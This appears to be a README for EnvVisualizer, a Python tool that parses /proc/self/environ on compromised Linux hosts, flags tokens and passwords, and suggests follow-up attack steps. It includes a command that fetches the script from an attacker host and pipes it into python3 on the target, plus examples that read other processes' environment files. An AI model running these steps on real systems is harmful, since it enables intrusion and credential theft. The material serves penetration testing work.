
Parse and visualize /proc/self/environ on compromised Linux boxes — categorizes env vars by tech stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) and generates severity-rated insights with ready-to-run commands
___________ ____ ____.__ .__ .__
\_ _____/ _______ _\ \ / /|__| ________ _______ | | |__|_______ ___________
| __)_ / \ \/ /\ Y / | |/ ___/ | \__ \ | | | \___ // __ \_ __ \
| \ | \ / \ / | |\___ \| | // __ \| |_| |/ /\ ___/| | \/
/_______ /___| /\_/ \___/ |__/____ >____/(____ /____/__/_____ \\___ >__|
\/ \/ \/ \/ \/ \/
Parse, categorize, and visualize
/proc/self/environon compromised Linux machines.
Turn a wall of fused environment variable text into structured, color-coded intel — in seconds.
Author: @W4r10ck423
When you land on a box and read /proc/self/environ, you get this:
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi
EnvVisualizer turns that into this:
============================================================================
EnvVisualizer — /proc/self/environ (32 variables)
============================================================================
── Identity (4) ───────────────────────────────────────────────────────────
HOME /home/dev
LOGNAME dev
SHELL /bin/bash
USER dev
── Paths & Dirs (10) ──────────────────────────────────────────────────────
PATH
• /home/dev/projects/store1/node_modules/.bin
• /home/dev/projects/node_modules/.bin
• /usr/local/sbin
• /usr/local/bin
• /usr/sbin
• /usr/bin
• /sbin
• /bin
• /snap/bin
PWD /home/dev/projects/store1
npm_config_cache /home/dev/.npm
npm_execpath /usr/share/nodejs/npm/bin/npm-cli.js
── NPM / Node (12) ────────────────────────────────────────────────────────
NODE /usr/bin/node
npm_command run-script
npm_config_user_agent npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
npm_lifecycle_script nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
npm_package_json /home/dev/projects/store1/package.json
── System (6) ─────────────────────────────────────────────────────────────
COLOR 0
EDITOR vi
INVOCATION_ID abc0ab20c7dd498792d8be51c591071a
JOURNAL_STREAM 8:6005
LANG C.UTF-8
SYSTEMD_EXEC_PID 881
── Pentest Insights ────────────────────────────────────────────────────────
▶ Node.js debugger exposed → 127.0.0.1:9229 (try: node-inspector / chrome://inspect)
▶ Home dir: /home/dev
▶ Shell: /bin/bash
▶ npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
▶ npm_lifecycle_event = watch
With rich installed, each category gets its own color-coded table.
npm_*, node_*, pip_*, etc.)TOKEN, KEY, SECRET, PASSWORD, etc.) with a ⚠ warningrich installed; clean plain-text output as a fallback (zero dependencies required)git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich # optional but recommended
python3 envvisualizer.py --help
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help
Copy envvisualizer.py to the target or attacker machine. It runs with zero dependencies:
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
| Dependency | Version | Required |
|---|---|---|
| Python | ≥ 3.8 | Yes |
| rich | ≥ 13.0 | No (plain-text fallback) |
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
| Method | Command | Accuracy |
|---|---|---|
| Direct file read | python3 envvisualizer.py -f /proc/self/environ | ✅ Perfect (null-byte split) |
| Stdin pipe | cat /proc/self/environ | python3 envvisualizer.py | ✅ Perfect (null-byte split) |
| Pasted string | python3 envvisualizer.py -r 'USER=dev...' | ✅ Good (two-class heuristic) |
| No args (demo) | python3 envvisualizer.py | ✅ Perfect (own process) |
Tip: Prefer
-fwhenever you have file access.
The null-byte delimiter in the real file is exact — no heuristics needed.
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
cat /proc/self/environ | python3 envvisualizer.py
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'
python3 envvisualizer.py -f /proc/self/environ --no-rich
Variables are grouped into 12 categories, evaluated in priority order (first match wins).